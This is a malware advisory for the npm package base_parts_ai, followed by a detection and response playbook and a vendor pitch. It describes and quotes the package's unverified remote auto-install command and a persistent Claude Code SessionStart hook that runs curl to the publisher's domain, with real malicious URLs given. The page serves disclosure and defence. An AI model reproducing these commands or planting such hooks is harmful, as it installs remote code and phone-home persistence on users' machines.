base_parts_ainpm
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base_parts_ai is a confirmed malicious npm package (MAL-2026-6228) that executes malicious code on install (malicious versions 1.0.50, 1.0.52). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in base_parts_ai (npm)
What this malware does
When a user runs the package's jcc or jcx CLI, lib/ai_utils.js polls https://jai.jaskle.cn/hm/hm_pub/ai_cc_cfg for a newVer value and, if it differs from the installed version, executes npm install -g https://jdwfiles.oss-cn-hangzhou.aliyuncs.com/npm_pkg/base_parts_ai-<newVer>.tgz --force --registry=https://registry.npmmirror.com with no hash or signature verification. The interactive confirmation prompt has been commented out and the confirmed variable is hardcoded to "yes", so the global install runs unattended. The tarball is served from a different domain (Aliyun OSS) than the version manifest, and either endpoint — or a compromise of either — can push arbitrary code globally to every CLI user. Separately, the package's setapi_cc flow writes a persistent SessionStart hook into ~/.claude/settings.json that runs curl -s -m 5 https://jai.jaskle.cn/hm/pub/ai_tip?cli=cc-<os>_<arch> on every Claude Code session start, establishing a phone-home channel keyed to the publisher domain. Note: package.json declares scripts.__postinstall (double underscore), which npm does not recognize, and main.js is a no-op — there is no automatic execution on npm install or require(). The auto-update channel fires when the user invokes the documented CLI, which is the package's primary advertised use.
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Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for base_parts_ai (2 malicious versions).
If you installed it — respond
Remove base_parts_ai from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If base_parts_ai was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
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- Amazon Inspector · finder
Detect & block this
O3 blocks base_parts_ai-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.